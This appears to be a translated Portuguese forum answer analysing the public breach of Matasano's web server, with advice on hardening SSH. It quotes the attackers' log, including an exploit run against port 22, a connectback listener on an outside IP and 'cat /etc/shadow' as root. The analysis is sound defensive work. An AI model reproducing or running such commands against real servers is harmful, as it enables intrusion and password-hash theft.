Como o Matasano foi hackeado?
Isso é impossível responder a partir das informações no post para Divulgação Completa. No entanto, é sempre interessante especular, pois eles dão um pouco de informação -
# ./th3_f1n4l_s0lut10n www.matasano.com [-] Connecting to 69.61.87.163:22.. [/] Looking for valid non-root user.. adam ******** R3D4CT3D h4h4h4h4 ********
Eles executam seu binário " th3_f1n41_s01ut10n " contra o servidor do Matasano, que se conecta à porta ssh. Ele encontra um usuário não root válido por meio de algum meio desconhecido e o restante da saída é redigido.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com [*] Connectback listener on 209.112.118.10:3338.. [!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Oct 2007]
O binário é executado novamente usando o nome de usuário encontrado, que faz o login e se conecta de volta ao servidor na porta 3338 (espero que não esteja registrado em seu nome ...).
adam_at_www:~$ uname -a Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux **** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4 ****
Eles podem estar insinuando que eles têm um dia de 0 contra esse kernel, o que é bastante antigo quando você considera as ações da empresa.
adam_at_www:~$ cd /tmp *********** B0R1NG *********** root_at_www:~# cat /etc/shadow
Whoops - de repente, o usuário agora é root. Eles têm uma exploração de escalonamento de privilégio local em / tmp que pode ser o dia 0 a que se referem.
Portanto, há pelo menos duas explorações acontecendo aqui: a exploração do OpenSSH para obter um usuário não-root válido no sistema e efetuar login como esse usuário e, em seguida, o escalonamento de privilégios locais.
Considerando que o OpenSSH tem alguns problemas de segurança conhecidos desde a versão 4.5:
Da página de segurança do OpenSSH :
-
O
- OpenSSH anterior à versão 5.2 é vulnerável à fraqueza do protocolo descrita no CPNI-957037 "Ataque à recuperação de texto simples contra o SSH". No entanto, com base nas informações limitadas disponíveis, parece que esse ataque descrito é inviável na maioria das circunstâncias. Para mais informações, consulte as notas da versão do cbc.adv advisory e do OpenSSH 5.2.
- O OpenSSH 4.9 e o mais recente não executam
~/.ssh/rcpara sessões cujo comando foi substituído por uma diretriz sshd_config (5) ForceCommand. Este foi um comportamento documentado, mas inseguro (descrito nas notas de lançamento do OpenSSH 4.9). - O OpenSSH 4.7 e o mais recente não voltam a criar cookies de autenticação X11 confiáveis quando a geração de cookies não confiáveis falha (por exemplo, devido ao esgotamento deliberado de recursos), conforme descrito nas notas de versão do OpenSSH 4.7.
Acho que ter esse kernel Linux mais antigo e o daemon SSH mais antigo fez por eles. Além disso, foi executado em seu servidor www, que está disponível para a Internet, o que é uma coisa bastante confiante para fazer na minha opinião. As pessoas que invadiram obviamente queriam constrangê-los.
Como evitar esses ataques?
Isso poderia ter sido evitado pela administração proativa - garantindo que todos os serviços voltados para a Internet fossem corrigidos e limitando o número de pessoas que podem se conectar em vez de permitir que as pessoas se conectem de qualquer lugar. Esse episódio agrava a lição de que a administração segura do sistema é difícil e requer dedicação da empresa para dar tempo para a TI manter as coisas atualizadas - na realidade, não é algo que acontece com facilidade, pelo menos em empresas menores.
Usar uma abordagem de cinto-e-chaves é melhor - usar autenticação de chave pública, lista branca no daemon ssh, autenticação de dois fatores, restrições de IP e / ou colocar tudo atrás da VPN são possíveis rotas para bloqueá-la.
Acho que sei o que vou fazer no trabalho amanhã. :)